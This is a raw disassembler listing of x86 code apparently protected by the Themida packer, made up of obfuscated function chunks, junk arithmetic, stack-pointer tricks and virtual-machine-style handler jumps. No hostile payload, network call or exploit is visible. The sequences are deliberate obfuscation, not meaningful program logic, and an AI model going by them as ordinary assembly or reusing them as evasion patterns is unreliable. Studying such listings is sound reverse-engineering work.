sub_559C84 loc_558D56: ; CODE XREF: sub_559C84+4D5Bj pop esi sub eax, edx pop edx jmp loc_55BD7C ; --------------------------------------------------------------------------- loc_558D5F: ; CODE XREF: sub_559C84+1CFEj sub eax, ecx push edi jmp loc_55E53D ; --------------------------------------------------------------------------- loc_558D67: ; CODE XREF: sub_559C84+243Cj mov ebp, eax pop eax dec ebp dec ebp jmp loc_55C219 ; --------------------------------------------------------------------------- loc_558D71: ; CODE XREF: sub_559C84+385Aj sub esi, 51582215h push edx mov edx, 51AC7DD3h add esi, edx pop edx shl esi, 3 shl esi, 7 neg esi not esi sub esi, 7767F3FBh jmp loc_5581C3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_558D95 proc near ; CODE XREF: sub_559C84-2053j ; FUNCTION CHUNK AT 00553FCE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055EABE SIZE 00000020 BYTES push ebx mov bh, 9Dh sub bh, 0E4h sub ah, bh pop ebx mov ch, ah pop eax jmp loc_553FCE sub_558D95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558DA6: ; CODE XREF: sub_559C84+2CCEj add edx, 4B377430h add edx, ebx push eax mov eax, 4B377430h add edx, 5F071E8Ch sub edx, eax jmp loc_55648A ; --------------------------------------------------------------------------- loc_558DC1: ; CODE XREF: sub_559C84-4AFFj and cl, 38h push eax mov ah, 15h jmp loc_55B5F1 ; --------------------------------------------------------------------------- loc_558DCC: ; CODE XREF: sub_559C84-5j push eax mov al, 42h add bh, 2Ch add bh, al jmp loc_556F36 ; --------------------------------------------------------------------------- loc_558DD9: ; CODE XREF: sub_559C84-57CFj dec ebp xchg eax, ebp not eax push ebp push eax jmp loc_554355 ; --------------------------------------------------------------------------- loc_558DE4: ; CODE XREF: sub_559C84+3FB9j push esp pop ecx push ebx jmp loc_555247 ; --------------------------------------------------------------------------- loc_558DEC: ; CODE XREF: sub_559C84-3205j mov word ptr [esp+40h+var_42+2], cx jmp loc_55351F ; --------------------------------------------------------------------------- loc_558DF5: ; CODE XREF: sub_559C84+5A31j mov ecx, edi jmp loc_5579F5 ; --------------------------------------------------------------------------- loc_558DFC: ; CODE XREF: sub_559C84-6092j push esp mov edx, [esp+20h+var_20] add esp, 4 add edx, 4 add edx, 4 push edx jmp loc_55E118 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558E1F: ; CODE XREF: sub_559C84+F5j pop ebp push edx push [esp+20h+var_1C] jmp loc_55FB6A ; --------------------------------------------------------------------------- loc_558E2A: ; CODE XREF: sub_559C84-2313j sub ebx, 4 xchg ebx, [esp+32h+var_34+2] pop esp mov [esp+2Eh+var_30+2], ecx mov ecx, esp jmp sub_55698E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558E3E: ; CODE XREF: Themida_:0055EEFCj xor ebx, [esp] jmp loc_55DD85 ; --------------------------------------------------------------------------- loc_558E46: ; CODE XREF: Themida_:00553A74j and cx, 6AE0h sub cx, 0D79Ch add ax, cx jmp loc_554210 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558E58: ; CODE XREF: sub_559C84+803j shr eax, 6 push edi mov edi, 1C150156h inc edi inc edi jmp loc_55B907 ; --------------------------------------------------------------------------- loc_558E68: ; CODE XREF: sub_559C84+1C09j push 26F9h mov [esp+0], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+0] pop esp jmp loc_55E1A5 ; --------------------------------------------------------------------------- loc_558E87: ; CODE XREF: sub_559C84-26DDj sub edi, 243AF876h add ecx, 14EB4E92h add ecx, 551A4F5Eh add ecx, edi jmp loc_557B35 ; --------------------------------------------------------------------------- loc_558EA0: ; CODE XREF: sub_559C84+3C89j xor eax, ecx pop ecx push 35E6h mov [esp+4Ch+var_4E+2], ebx mov ebx, esp jmp loc_55D440 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558EB2: ; CODE XREF: Themida_:00557934j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558EC7: ; CODE XREF: sub_559C84-441Dj push esi mov esi, 4 sub eax, esi jmp loc_5560E7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558ED4: ; CODE XREF: Themida_:0055603Aj pop edx xor ch, dh jmp loc_5554CB ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55857C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558EE5: ; CODE XREF: sub_559C84-349Bj pop esp jmp loc_55678C ; --------------------------------------------------------------------------- loc_558EEB: ; CODE XREF: sub_559C84-387Bj mov [esp+5Eh+var_60+2], ebp push 5335h mov [esp+62h+var_64+2], esp add [esp+62h+var_64+2], 4 jmp loc_559246 ; --------------------------------------------------------------------------- loc_558F02: ; CODE XREF: sub_559C84-6756j sub al, cl mov ecx, [esp+0] add esp, 4 sub al, 0Bh push ebx mov bl, 0B0h sub esp, 2 mov word ptr [esp+4+var_4], ax push cx mov cl, 0EAh mov ah, cl pop cx xor bl, ah pop ax jmp loc_55B09C ; --------------------------------------------------------------------------- loc_558F27: ; CODE XREF: sub_559C84-39C9j pop esp sub word ptr [esp+38h+var_3A+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_558F32: ; CODE XREF: sub_559C84+2ECDj push [esp+3Ch+var_3A+2] push [esp+40h+var_42+2] pop ecx add esp, 4 pop [esp+3Ch+var_3E+2] pop esp ror word ptr [esp+34h+var_34], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_558F4B: ; CODE XREF: sub_559C84-19CAj pop edx push ecx mov ecx, 27C61170h xor ecx, 6227B08h add ebx, ecx pop ecx jmp loc_555D1F ; --------------------------------------------------------------------------- loc_558F60: ; CODE XREF: sub_559C84+13BEj pop edi jmp loc_55F833 ; --------------------------------------------------------------------------- loc_558F66: ; CODE XREF: sub_559C84+5905j add ecx, 4 sub ecx, 4 jmp loc_553A7F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55590A loc_558F74: ; CODE XREF: sub_55590A+1ED0j and ebp, esi mov esi, [esp+8+var_8] add esp, 4 jmp loc_556BC7 ; END OF FUNCTION CHUNK FOR sub_55590A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE4E loc_558F81: ; CODE XREF: sub_55DE4E-A39Fj mov edx, esp jmp loc_55B1E9 ; END OF FUNCTION CHUNK FOR sub_55DE4E ; --------------------------------------------------------------------------- push ebp push eax push 59882056h mov eax, [esp] add esp, 4 push ecx push eax push 6FA66BEFh pop eax push eax mov eax, 1739699Fh push eax jmp loc_55FC25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558FA9: ; CODE XREF: sub_559C84+404Aj pop edx add edx, 4 add edx, 4 xchg edx, [esp+3Eh+var_3E] pop esp jmp loc_559A39 ; --------------------------------------------------------------------------- loc_558FBC: ; CODE XREF: sub_559C84-3589j shl edx, 1 push edx push 318Fh mov [esp+1Ch+var_1C], ecx push 3E25h jmp loc_554706 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp push dword ptr [esp] pop esi jmp loc_55F047 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558FE0: ; CODE XREF: sub_559C84-308Dj xchg ebp, [esp+4Eh+var_4E] pop esp or eax, eax jz loc_55ECA4 push dword ptr [edi+1Ch] push [esp+4Eh+var_4E] jmp loc_554D29 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55698E loc_558FF7: ; CODE XREF: sub_55698E+12j sub ebp, 2BFF7DFAh add ecx, ebp pop ebp sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] pop esp mov [esp-4+arg_0], ebx push ecx push ebx mov bl, 0B1h jmp loc_55742B ; END OF FUNCTION CHUNK FOR sub_55698E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559024: ; CODE XREF: sub_559C84-3D96j push edi push ecx push edi mov edi, 1A576F78h neg edi and edi, 426F5097h add edi, 6A0F7C1Ch not edi jmp loc_55DDA2 ; --------------------------------------------------------------------------- loc_559041: ; CODE XREF: sub_559C84+5632j add esp, 4 pop [esp+5Eh+var_60+2] mov esp, [esp+5Ah+var_5C+2] shl [esp+5Ah+var_5C+2], cl pushf jmp loc_558C08 ; --------------------------------------------------------------------------- loc_559053: ; CODE XREF: sub_559C84-40Fj xor [esp+5Eh+var_60+2], edi xor edi, [esp+5Eh+var_60+2] pop esp btc word ptr [esp+5Ah+var_5C+2], ax pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] push edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55CC58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55908E: ; CODE XREF: sub_559C84+23E7j pop edx shl ch, 6 jmp sub_559A2E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559AA2 loc_559097: ; CODE XREF: sub_559AA2-644Cj add ecx, 4 sub ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop ecx jmp loc_5537E8 ; END OF FUNCTION CHUNK FOR sub_559AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5590B7: ; CODE XREF: sub_559C84-675Cj mov ch, 0BFh push 7252h mov [esp+8+var_8], ebx push edx mov dh, 62h mov bh, dh pop edx xor ch, bh pop ebx push eax mov al, 0FDh push edx mov dh, 0F9h push 585Ah mov [esp+10h+var_10], eax jmp loc_558264 ; --------------------------------------------------------------------------- loc_5590DD: ; CODE XREF: sub_559C84+4B5Ej pop ecx pop edx jmp loc_559E3B ; --------------------------------------------------------------------------- loc_5590E4: ; CODE XREF: sub_559C84-305Fj sub esi, 6FE9489Bh add esi, 5E5C0FA2h mov eax, esi pop esi jmp loc_558302 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_5590F8: ; CODE XREF: sub_557976-3626j shr al, 8 dec al push ecx mov ch, dh mov dh, al jmp loc_55BF95 ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559107: ; CODE XREF: sub_559C84-46B3j mov esi, [esp+3Eh+var_3E] add esp, 4 jmp loc_556B33 ; --------------------------------------------------------------------------- loc_559115: ; CODE XREF: sub_559C84-271j pop ecx push edx mov dl, 1 xor dl, 0B1h or al, dl pop edx shl al, 8 xor al, 75h or ch, al pop eax jmp loc_5584BC ; --------------------------------------------------------------------------- loc_55912C: ; CODE XREF: sub_559C84-190Fj pop [esp+26h+var_28+2] mov esp, [esp+22h+var_24+2] btr word ptr [esp+22h+var_24+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55913D: ; CODE XREF: sub_559C84-1A54j push 46DB6101h pop ecx add ecx, 7A00D7h jmp loc_55510D ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_55914E: ; CODE XREF: sub_555BE3+Bj mov [esp+8+var_8], esp jmp loc_55752D ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559156: ; CODE XREF: sub_559C84-23AFj push esi mov esi, 2B8C51B0h jmp loc_55D741 ; --------------------------------------------------------------------------- loc_559161: ; CODE XREF: sub_559C84-60DFj push edx mov dl, 6Eh shr dl, 5 dec dl shr dl, 7 jmp loc_55F4F8 ; --------------------------------------------------------------------------- loc_559171: ; CODE XREF: sub_559C84+19FDj sub edx, 179700F5h jmp loc_554884 ; --------------------------------------------------------------------------- loc_55917C: ; CODE XREF: sub_559C84+49D2j mov ebp, [esp+32h+var_34+2] add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- loc_55918A: ; CODE XREF: sub_559C84+5156j pop esp jmp loc_55E0AF ; --------------------------------------------------------------------------- loc_559190: ; CODE XREF: sub_559C84+306Cj xor edi, esi jmp loc_55C4FB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push edi push esp pop edi push ecx mov ecx, 4 add edi, ecx mov ecx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_55E0A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5591BF: ; CODE XREF: sub_559C84-30C2j mov [esp+52h+var_52], ecx jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5591C7 proc near ; CODE XREF: sub_559C84-195Bj ; FUNCTION CHUNK AT 00554198 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00555414 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00557632 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00558A3F SIZE 00000007 BYTES push ebx mov ebx, 4B375862h inc ebx sub ebx, 0F15A0866h jmp loc_558A3F sub_5591C7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5591D9: ; CODE XREF: sub_559C84+184Bj sub al, 59h push bx mov bl, 8Dh sub al, bl pop bx pop ecx push small 2D3Ch mov word ptr [esp+50h+var_52+2], cx push 30CAh mov [esp+0], ebx mov bh, 0BDh or bh, 37h inc bh xor bh, 1Eh shr bh, 8 push edx mov dh, 1 sub bh, dh pop edx push edx push eax mov al, 0F4h mov dh, al pop eax sub bh, dh pop edx push eax push ecx mov ch, 8Eh jmp loc_55D521 ; --------------------------------------------------------------------------- loc_55921A: ; CODE XREF: sub_559C84+1A9Ej pop ebx jmp loc_553A16 ; --------------------------------------------------------------------------- loc_559220: ; CODE XREF: sub_559C84+635j add ebx, 4 add ebx, 4 xchg ebx, [esp+58h+var_58] pop esp push edx push 4 jmp loc_557393 ; --------------------------------------------------------------------------- loc_559238: ; CODE XREF: sub_559C84+2183j add ebx, 4 add ebx, 4 jmp loc_55F7BD ; --------------------------------------------------------------------------- loc_559246: ; CODE XREF: sub_559C84-D87j pop ebp push edx mov edx, 4 add ebp, edx jmp loc_55F746 ; --------------------------------------------------------------------------- loc_559254: ; CODE XREF: sub_559C84-60ACj sub eax, 518A4A9Ah sub eax, edx add eax, 518A4A9Ah pop edx add eax, 14EF17DEh jmp loc_55A8D8 ; --------------------------------------------------------------------------- loc_55926B: ; CODE XREF: sub_559C84+45B0j mov ebp, 4 push edx jmp loc_5586A2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_559276: ; CODE XREF: Themida_:005583C7j push edi mov edi, 4 sub edx, edi pop edi xchg edx, [esp] pop esp jmp loc_556729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559288: ; CODE XREF: sub_559C84+10BFj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+18h+var_18] jmp loc_5571A4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55929E proc near ; CODE XREF: sub_559C84-2437j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005557D1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055768B SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 4 add ebp, eax pop eax sub ebp, 2 push 6D42h mov [esp+4+var_4], ebp jmp loc_5557D1 sub_55929E endp ; --------------------------------------------------------------------------- loc_5592BC: ; CODE XREF: Themida_:005582F1j xor ebp, [esp] pop esp mov [esp], eax sub esp, 4 jmp loc_5589DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5592CE: ; CODE XREF: sub_559C84+5AA4j add esi, 4 add esi, 4 jmp loc_55F4EF ; --------------------------------------------------------------------------- loc_5592DC: ; CODE XREF: sub_559C84+ABFj add [esp+18h+var_10], edx pop edx pop edi push [esp+10h+var_10] pop eax push ecx push esp pop ecx jmp loc_556AC3 ; --------------------------------------------------------------------------- loc_5592EE: ; CODE XREF: sub_559C84-2207j xchg edi, [esp-0Eh+arg_8+2] pop esp mov [esp-12h+arg_C+2], ebp push [esp-12h+arg_10+2] pop ebp pop [esp-12h+arg_C+2] mov esp, [esp-16h+arg_10+2] mov dx, word ptr [esp-16h+arg_10+2] jmp loc_555EEB ; --------------------------------------------------------------------------- loc_559309: ; CODE XREF: sub_559C84-FC1j push edx jmp loc_558AA7 ; --------------------------------------------------------------------------- loc_55930F: ; CODE XREF: sub_559C84-3C82j pop ebx push 5229h mov [esp+4Ah+var_4A], ebp push edi mov edi, 2D6E7C11h jmp loc_55DE89 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_559323: ; CODE XREF: Themida_:005599DAj xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax mov eax, esp jmp loc_55F9B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559334: ; CODE XREF: sub_559C84-5C1Dj sub ebp, 4DB87C9Eh add eax, ebp pop ebp sub eax, 4 xchg eax, [esp+0] pop esp mov [esp-6+arg_0+2], ecx push ebp mov ebp, 18525C3Fh push edi push ebx mov ebx, 2BB56CCFh mov edi, 2C16CFC5h sub edi, ebx pop ebx xor ebp, edi mov edi, [esp+2+var_4+2] add esp, 4 mov ecx, ebp pop ebp sub eax, ecx push [esp-6+arg_0+2] pop ecx add esp, 4 jmp loc_557351 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5538DF loc_559375: ; CODE XREF: sub_5538DF+4D78j add al, cl pop ecx sub ch, al pop eax inc ch xor ch, 13h sub ch, 0B8h jmp loc_55A282 ; END OF FUNCTION CHUNK FOR sub_5538DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559388: ; CODE XREF: sub_559C84+36C9j push 1E59h mov [esp-6+arg_0+2], eax jmp loc_55EBB4 ; --------------------------------------------------------------------------- loc_559395: ; CODE XREF: sub_559C84+133Aj add eax, 6B882492h sub eax, 5801188Bh mov ebp, [esp-6+arg_0+2] jmp loc_55A29D ; --------------------------------------------------------------------------- loc_5593A7: ; CODE XREF: sub_559C84+38EAj dec word ptr [esp-6+arg_0+2] pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5593B1: ; CODE XREF: sub_559C84-1101j push [esp+22h+var_24+2] pop edi add esp, 4 add ecx, 2 xor ecx, [esp+1Eh+var_20+2] xor [esp+1Eh+var_20+2], ecx xor ecx, [esp+1Eh+var_20+2] mov esp, [esp+1Eh+var_20+2] idiv cx sub esp, 4 jmp loc_5542CD ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_5593D5: ; CODE XREF: sub_557976+7FB1j dec dh add dh, 52h jmp loc_555012 ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5593DF: ; CODE XREF: sub_559C84+6ADj mov edx, 107A18D4h add eax, edx jmp loc_55C3A7 ; --------------------------------------------------------------------------- loc_5593EB: ; CODE XREF: sub_559C84-17B6j pop ebx sub al, 0DBh sub al, ch jmp loc_55EB97 ; --------------------------------------------------------------------------- loc_5593F5: ; CODE XREF: sub_559C84-1C92j push 6CB6h mov [esp+52h+var_52], eax push 2495h mov [esp+56h+var_58+2], esp sub esp, 4 mov [esp+5Ah+var_5C+2], edi mov edi, 4 add [esp+5Ah+var_58+2], edi pop edi pop eax add eax, 4 add eax, 4 xor eax, [esp+52h+var_52] xor [esp+52h+var_52], eax xor eax, [esp+52h+var_52] mov esp, [esp+52h+var_52] add eax, 1B455BF8h jmp sub_55E342 ; --------------------------------------------------------------------------- loc_559437: ; CODE XREF: sub_559C84-1C88j pop edi xor ebx, [esp+10h+var_10] xor [esp+10h+var_10], ebx xor ebx, [esp+10h+var_10] jmp loc_55FBBF ; --------------------------------------------------------------------------- loc_559446: ; CODE XREF: sub_559C84+32D7j add eax, ebp pop ebp jmp loc_553B8C ; --------------------------------------------------------------------------- loc_55944E: ; CODE XREF: sub_559C84-28F0j add edi, edx pop edx add edi, 2 xor edi, [esp+50h+var_52+2] jmp loc_55C47B ; --------------------------------------------------------------------------- loc_55945F: ; CODE XREF: sub_559C84+4B20j neg ch push eax mov al, 29h jmp loc_558B0C ; --------------------------------------------------------------------------- loc_559469: ; CODE XREF: sub_559C84-538Cj add ebx, edx jmp loc_55D7DE ; --------------------------------------------------------------------------- loc_559470: ; CODE XREF: sub_559C84-546Aj pop eax add bl, 0C1h add bl, al sub bl, 0C1h push eax jmp loc_55C734 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- db 0ACh dd 92E90B04h, 83FFFFE6h, 148904ECh, 0EC815024h, 4, 0BF243C89h dd 27235F8Dh, 107DEF81h, 92E9F534h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5594A7: ; CODE XREF: sub_559C84+2CC0j pop edi jmp loc_55F4A3 ; --------------------------------------------------------------------------- loc_5594AD: ; CODE XREF: sub_559C84+F30j add edi, eax pop eax push edx mov edx, 542D5347h xor edx, 5FC96800h sub edx, 0BE43B43h add edi, edx pop edx xchg edi, [esp+44h+var_46+2] pop esp push dword ptr [edi+eax*4] push [esp+44h+var_46+2] pop eax push edi jmp loc_55BCFB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp push ebx mov ebx, 5C4546FDh jmp loc_55D612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5594F0: ; CODE XREF: sub_559C84-1EA2j mov [esp+2+var_4+2], ecx push eax jmp loc_555F7D ; --------------------------------------------------------------------------- loc_5594F9: ; CODE XREF: sub_559C84-2CFAj pop ebp add esp, 4 inc edi push ebx mov ebx, 5AFB40DAh jmp loc_553EDF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_559509: ; DATA XREF: Themida_:00553260o lodsb xor al, bl jmp loc_55AEAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559511: ; CODE XREF: sub_559C84+4297j add ecx, edx pop edx jmp loc_55A5A3 ; --------------------------------------------------------------------------- loc_559519: ; CODE XREF: sub_559C84+464Dj push 7F0Eh mov [esp+10h+var_10], eax push esi mov esi, 56150EF7h jmp loc_556C12 ; --------------------------------------------------------------------------- loc_55952C: ; CODE XREF: sub_559C84+2994j push edx mov dh, cl jmp loc_5580CC ; --------------------------------------------------------------------------- loc_559534: ; CODE XREF: sub_559C84+5815j add eax, ebx push [esp+18h+var_18] pop ebx add esp, 4 jmp sub_55DC14 ; --------------------------------------------------------------------------- loc_559542: ; CODE XREF: sub_559C84-5297j add ecx, edx pop edx sub ecx, 4 xchg ecx, [esp+42h+var_42] pop esp jmp loc_55E91B ; --------------------------------------------------------------------------- loc_559551: ; CODE XREF: sub_559C84-6546j sub ebx, 77B81706h sub ebx, eax add ebx, 77B81706h push esi jmp loc_55FBC7 ; --------------------------------------------------------------------------- loc_559565: ; CODE XREF: sub_559C84-2889j pop ecx jmp loc_55CF3C ; --------------------------------------------------------------------------- loc_55956B: ; CODE XREF: sub_559C84+24C1j or bh, 4 jmp loc_553A03 ; --------------------------------------------------------------------------- loc_559573: ; CODE XREF: sub_559C84-2824j mov ecx, [esp+5Eh+var_60+2] push edx jmp loc_55C30A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55957C: ; CODE XREF: Themida_:0055717Ej add [esp+4], ebx jmp loc_555BBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559585: ; CODE XREF: sub_559C84-2701j add [esp+50h+var_52+2], 4 pop ebx add ebx, 4 push edx mov edx, 2 add ebx, 21BB79F7h sub ebx, edx sub ebx, 21BB79F7h jmp loc_556A78 ; --------------------------------------------------------------------------- loc_5595AC: ; CODE XREF: sub_559C84-5281j add ecx, 0B51D1D4Bh add eax, ecx pop ecx jmp loc_557728 ; --------------------------------------------------------------------------- loc_5595BA: ; CODE XREF: sub_559C84-3595j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp+4Eh+var_4E] pop esp sub ebp, 4 xor ebp, [esp+4Ah+var_4A] jmp loc_559DC1 ; --------------------------------------------------------------------------- loc_5595D4: ; CODE XREF: sub_559C84+2590j add ebx, 4 jmp loc_558CDA ; --------------------------------------------------------------------------- loc_5595DF: ; CODE XREF: sub_559C84+2FB2j xor edi, [esp+4Ah+var_4A] mov esp, [esp+4Ah+var_4A] idiv cl movzx cx, ah push small 34FAh mov word ptr [esp+4Ch+var_4E+2], cx jmp loc_553ED3 ; --------------------------------------------------------------------------- loc_5595F8: ; CODE XREF: sub_559C84-1F1Ej pop ebp sub eax, 682A6C97h xor eax, 31536340h neg eax sub esp, 4 mov [esp+0], ebp push esi push 7D4E7291h jmp loc_5565A8 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55598B loc_559619: ; CODE XREF: sub_55598B+22j xor ebp, eax jmp loc_55A157 ; END OF FUNCTION CHUNK FOR sub_55598B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559620: ; CODE XREF: sub_559C84+396Dj pop ax sub bl, 98h add al, bl pop ebx push dx push eax jmp loc_559885 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_559630: ; DATA XREF: Themida_:0055326Co push ecx mov ecx, esp jmp loc_5582BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559638: ; CODE XREF: sub_559C84+317Dj add edx, 22A45D5Dh add edx, ebx sub edx, 22A45D5Dh jmp loc_559944 ; --------------------------------------------------------------------------- loc_55964B: ; CODE XREF: sub_559C84-12EBj add bl, al pop eax movzx eax, al jmp loc_555D3E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E1F9 loc_559656: ; CODE XREF: sub_55E1F9+6j add ebp, 16CE2B9Dh jmp loc_55EFD0 ; END OF FUNCTION CHUNK FOR sub_55E1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_559661: ; CODE XREF: sub_559C84+230Cj mov ebp, esp jmp loc_557445 ; --------------------------------------------------------------------------- loc_559668: ; CODE XREF: sub_559C84+3429j mov ecx, 0 jmp loc_55E836 ; --------------------------------------------------------------------------- loc_559672: ; CODE XREF: sub_559C84-43B5j add esi, 4 jmp loc_557FA0 ; --------------------------------------------------------------------------- loc_55967D: ; CODE XREF: sub_559C84+EFCj xor ebp, 922947D7h sub ebx, 186104E0h jmp loc_55E5AB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55968E: ; CODE XREF: Themida_:0055630Dj push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 jmp loc_55FBD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55969F: ; CODE XREF: sub_559C84-32C5j xor [esp+52h+var_52], edx push edx mov edx, esp sub esp, 4 mov [esp+5Ah+var_5C+2], ecx mov ecx, 73582E6Bh dec ecx sub ecx, 73652DB7h jmp loc_55722C ; --------------------------------------------------------------------------- loc_5596BF: ; CODE XREF: sub_559C84+2CABj pop [esp+5Ah+var_5C+2] mov esp, [esp+56h+var_58+2] sar word ptr [esp+56h+var_58+2], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5596CF: ; CODE XREF: sub_559C84+5F81j sub ebp, 0A96FA722h xor esi, ebp pop ebp push ebp mov ebp, 3B1F6FB7h and esi, ebp pop ebp jmp loc_55603F ; --------------------------------------------------------------------------- loc_5596E6: ; CODE XREF: sub_559C84+4AFAj push edi mov edi, 176C04A5h xchg ecx, edi not ecx xchg ecx, edi jmp loc_55C664 ; --------------------------------------------------------------------------- loc_5596F7: ; CODE XREF: sub_559C84-432Cj pop esp mov word ptr [esp-14h+arg_10], dx jmp loc_55CF35 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- add dword ptr [esp], 4 pop eax push 649h jmp loc_55A1DD ; --------------------------------------------------------------------------- 